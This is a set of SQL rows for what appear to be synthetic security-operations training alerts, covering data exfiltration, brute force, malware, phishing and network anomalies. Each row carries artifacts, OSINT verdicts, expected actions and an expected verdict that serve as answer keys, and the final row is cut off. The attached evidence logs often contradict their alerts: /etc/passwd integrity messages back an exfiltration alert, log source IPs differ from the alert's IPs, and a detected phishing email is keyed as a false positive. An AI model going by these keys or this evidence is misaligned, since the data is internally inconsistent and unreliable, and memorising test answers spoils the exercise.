(1385, 'Data Exfiltration Attempt via Suspicious Domain', 'critical', 'Wazuh', 'Data exfiltration attempt detected via a connection to a suspicious domain.', 'Data Exfil', 'T1048', 1, 'Closed', 225, '{\"timestamp\":\"2026-03-02T18:30:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.70\",\"dst_ip\":\"203.0.113.175\",\"domain\":\"exfiltration-domain.com\",\"username\":\"dataadmin\"}', '2026-03-02 03:07:37', '2026-03-07 10:44:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"domain\",\"value\":\"exfiltration-domain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Domain known for data exfiltration\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.175\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP used in data exfiltration activities\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"Connection to a known exfiltration domain indicates a data breach attempt.\"}', 'Novice', 'SIEM', 1, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.912Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T18:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.70\\\",\\\"dst_ip\\\":\\\"203.0.113.175\\\",\\\"domain\\\":\\\"exfiltration-domain.com\\\",\\\"username\\\":\\\"dataadmin\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.912Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T18:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.70\\\",\\\"dst_ip\\\":\\\"203.0.113.175\\\",\\\"domain\\\":\\\"exfiltration-domain.com\\\",\\\"username\\\":\\\"dataadmin\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.912Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T18:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.70\\\",\\\"dst_ip\\\":\\\"203.0.113.175\\\",\\\"domain\\\":\\\"exfiltration-domain.com\\\",\\\"username\\\":\\\"dataadmin\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.912Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T18:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.70\\\",\\\"dst_ip\\\":\\\"203.0.113.175\\\",\\\"domain\\\":\\\"exfiltration-domain.com\\\",\\\"username\\\":\\\"dataadmin\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.912Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T18:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.70\\\",\\\"dst_ip\\\":\\\"203.0.113.175\\\",\\\"domain\\\":\\\"exfiltration-domain.com\\\",\\\"username\\\":\\\"dataadmin\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(1386, 'False Positive: Routine Internal Network Scan', 'low', 'Elastic SIEM', 'Detected a series of network connections which appear to be a routine internal scan.', 'Lateral Movement', 'T1021', 0, 'Closed', 233, '{\"timestamp\":\"2026-03-02T09:25:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.1.1.1\",\"dst_ip\":\"10.1.1.10\",\"username\":\"networkscanner\",\"hostname\":\"scanner-host\"}', '2026-03-02 03:07:37', '2026-03-03 12:13:40', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.1.1.1\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP for network scanning tool\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.1.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal network device\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The activity matches the pattern of a scheduled internal network scan.\"}', 'Novice', 'SIEM', 1, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.914Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T09:25:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.1.1.1\\\",\\\"dst_ip\\\":\\\"10.1.1.10\\\",\\\"username\\\":\\\"networkscanner\\\",\\\"hostname\\\":\\\"scanner-host\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.914Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T09:25:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.1.1.1\\\",\\\"dst_ip\\\":\\\"10.1.1.10\\\",\\\"username\\\":\\\"networkscanner\\\",\\\"hostname\\\":\\\"scanner-host\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.914Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T09:25:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.1.1.1\\\",\\\"dst_ip\\\":\\\"10.1.1.10\\\",\\\"username\\\":\\\"networkscanner\\\",\\\"hostname\\\":\\\"scanner-host\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.914Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T09:25:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.1.1.1\\\",\\\"dst_ip\\\":\\\"10.1.1.10\\\",\\\"username\\\":\\\"networkscanner\\\",\\\"hostname\\\":\\\"scanner-host\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.914Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T09:25:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.1.1.1\\\",\\\"dst_ip\\\":\\\"10.1.1.10\\\",\\\"username\\\":\\\"networkscanner\\\",\\\"hostname\\\":\\\"scanner-host\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1387, 'Brute Force Attack from Foreign IP', 'medium', 'Splunk', 'Multiple failed login attempts detected from an external IP known for malicious activity.', 'Brute Force', 'T1110', 0, 'Closed', 142, '{\"timestamp\":\"2026-03-02T08:30:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"185.92.220.50\",\"dst_ip\":\"192.168.1.15\",\"username\":\"admin\",\"hostname\":\"CORP-SERVER01\",\"failed_attempts\":45}', '2026-03-02 03:09:19', '2026-03-07 05:14:55', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.92.220.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Commonly targeted username\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal address\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The foreign IP is flagged as malicious with multiple failed login attempts, confirming the brute force attack.\"}', 'Novice', 'SIEM', 1, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.915Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T08:30:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"185.92.220.50\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"CORP-SERVER01\\\",\\\"failed_attempts\\\":45}\"},{\"timestamp\":\"2026-03-02T13:54:06.915Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T08:30:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"185.92.220.50\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"CORP-SERVER01\\\",\\\"failed_attempts\\\":45}\"},{\"timestamp\":\"2026-03-02T13:53:06.915Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T08:30:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"185.92.220.50\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"CORP-SERVER01\\\",\\\"failed_attempts\\\":45}\"},{\"timestamp\":\"2026-03-02T13:52:06.915Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T08:30:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"185.92.220.50\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"CORP-SERVER01\\\",\\\"failed_attempts\\\":45}\"},{\"timestamp\":\"2026-03-02T13:51:06.915Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T08:30:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"185.92.220.50\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"CORP-SERVER01\\\",\\\"failed_attempts\\\":45}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1388, 'Suspicious Login Activity', 'low', 'Wazuh', 'Unusual login attempts detected from a known VPN server.', 'Brute Force', 'T1110', 0, 'Closed', 225, '{\"timestamp\":\"2026-03-02T10:15:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.101\",\"dst_ip\":\"192.168.2.25\",\"username\":\"jdoe\",\"hostname\":\"WORKSTATION01\",\"failed_attempts\":10}', '2026-03-02 03:09:19', '2026-03-07 11:44:59', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.101\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP associated with VPN use, not flagged as malicious\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Regular user account\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.2.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal address\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The IP is associated with VPN use but not flagged as malicious, indicating benign activity.\"}', 'Novice', 'SIEM', 1, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.917Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T10:15:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.101\\\",\\\"dst_ip\\\":\\\"192.168.2.25\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"WORKSTATION01\\\",\\\"failed_attempts\\\":10}\"},{\"timestamp\":\"2026-03-02T13:54:06.917Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T10:15:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.101\\\",\\\"dst_ip\\\":\\\"192.168.2.25\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"WORKSTATION01\\\",\\\"failed_attempts\\\":10}\"},{\"timestamp\":\"2026-03-02T13:53:06.917Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T10:15:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.101\\\",\\\"dst_ip\\\":\\\"192.168.2.25\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"WORKSTATION01\\\",\\\"failed_attempts\\\":10}\"},{\"timestamp\":\"2026-03-02T13:52:06.917Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T10:15:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.101\\\",\\\"dst_ip\\\":\\\"192.168.2.25\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"WORKSTATION01\\\",\\\"failed_attempts\\\":10}\"},{\"timestamp\":\"2026-03-02T13:51:06.917Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T10:15:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.101\\\",\\\"dst_ip\\\":\\\"192.168.2.25\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"WORKSTATION01\\\",\\\"failed_attempts\\\":10}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1389, 'Potential Malware Detected by File Hash', 'high', 'Elastic SIEM', 'A file with a known malicious hash was executed on an internal machine.', 'Malware', 'T1059', 0, 'investigating', NULL, '{\"timestamp\":\"2026-03-02T11:00:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.3.5\",\"dst_ip\":\"\",\"username\":\"bsmith\",\"hostname\":\"LAPTOP01\",\"command_line\":\"C:\\\\malicious.exe\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-03-02 03:09:19', '2026-03-09 13:55:53', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"No detections found for this hash\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"C:\\\\malicious.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Common false positive hash\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.3.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal address\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The file hash was not detected as malicious, indicating a false positive.\"}', 'Novice', 'SIEM', 1, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.918Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T11:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.3.5\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"bsmith\\\",\\\"hostname\\\":\\\"LAPTOP01\\\",\\\"command_line\\\":\\\"C:\\\\\\\\malicious.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.918Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T11:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.3.5\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"bsmith\\\",\\\"hostname\\\":\\\"LAPTOP01\\\",\\\"command_line\\\":\\\"C:\\\\\\\\malicious.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.918Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T11:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.3.5\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"bsmith\\\",\\\"hostname\\\":\\\"LAPTOP01\\\",\\\"command_line\\\":\\\"C:\\\\\\\\malicious.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.918Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T11:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.3.5\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"bsmith\\\",\\\"hostname\\\":\\\"LAPTOP01\\\",\\\"command_line\\\":\\\"C:\\\\\\\\malicious.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.918Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T11:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.3.5\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"bsmith\\\",\\\"hostname\\\":\\\"LAPTOP01\\\",\\\"command_line\\\":\\\"C:\\\\\\\\malicious.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(1390, 'Phishing Email with Suspicious URL', 'medium', 'Azure Sentinel', 'A phishing email was detected containing a suspicious URL.', 'Phishing', 'T1566', 0, 'Closed', 225, '{\"timestamp\":\"2026-03-02T12:30:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"198.51.100.12\",\"email_sender\":\"fake@phishingsite.com\",\"username\":\"jdoe\",\"hostname\":\"MAILSERVER\",\"url\":\"http://suspicious-url.com/login\"}', '2026-03-02 03:09:19', '2026-03-06 10:28:45', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"fake@phishingsite.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"suspicious\",\"details\":\"Domain known for phishing attempts\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://suspicious-url.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"suspicious\",\"details\":\"URL associated with phishing domains\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"198.51.100.12\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"IP associated with phishing emails\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The phishing email contains a suspicious URL, but no malicious activity confirmed.\"}', 'Novice', 'SIEM', 1, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.920Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T12:30:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"198.51.100.12\\\",\\\"email_sender\\\":\\\"fake@phishingsite.com\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"MAILSERVER\\\",\\\"url\\\":\\\"http://suspicious-url.com/login\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.920Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T12:30:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"198.51.100.12\\\",\\\"email_sender\\\":\\\"fake@phishingsite.com\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"MAILSERVER\\\",\\\"url\\\":\\\"http://suspicious-url.com/login\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.920Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T12:30:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"198.51.100.12\\\",\\\"email_sender\\\":\\\"fake@phishingsite.com\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"MAILSERVER\\\",\\\"url\\\":\\\"http://suspicious-url.com/login\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.920Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T12:30:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"198.51.100.12\\\",\\\"email_sender\\\":\\\"fake@phishingsite.com\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"MAILSERVER\\\",\\\"url\\\":\\\"http://suspicious-url.com/login\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.920Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T12:30:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"198.51.100.12\\\",\\\"email_sender\\\":\\\"fake@phishingsite.com\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"MAILSERVER\\\",\\\"url\\\":\\\"http://suspicious-url.com/login\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1391, 'Unusual Network Connection to External IP', 'low', 'Splunk', 'A device attempted to connect to an external IP known for hosting benign services.', 'Network Anomaly', 'T1071', 0, 'Closed', 225, '{\"timestamp\":\"2026-03-02T13:45:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.4.10\",\"dst_ip\":\"93.184.216.34\",\"username\":\"psmith\",\"hostname\":\"DESKTOP02\"}', '2026-03-02 03:09:19', '2026-03-09 02:45:30', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"93.184.216.34\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"IP associated with benign web services\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.4.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal address\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"psmith\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Regular user account\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"network_anomaly\",\"analysis_notes\":\"The external IP is associated with benign services, indicating a false positive.\"}', 'Novice', 'SIEM', 1, 1, 'GOVERNMENT', NULL, NULL, 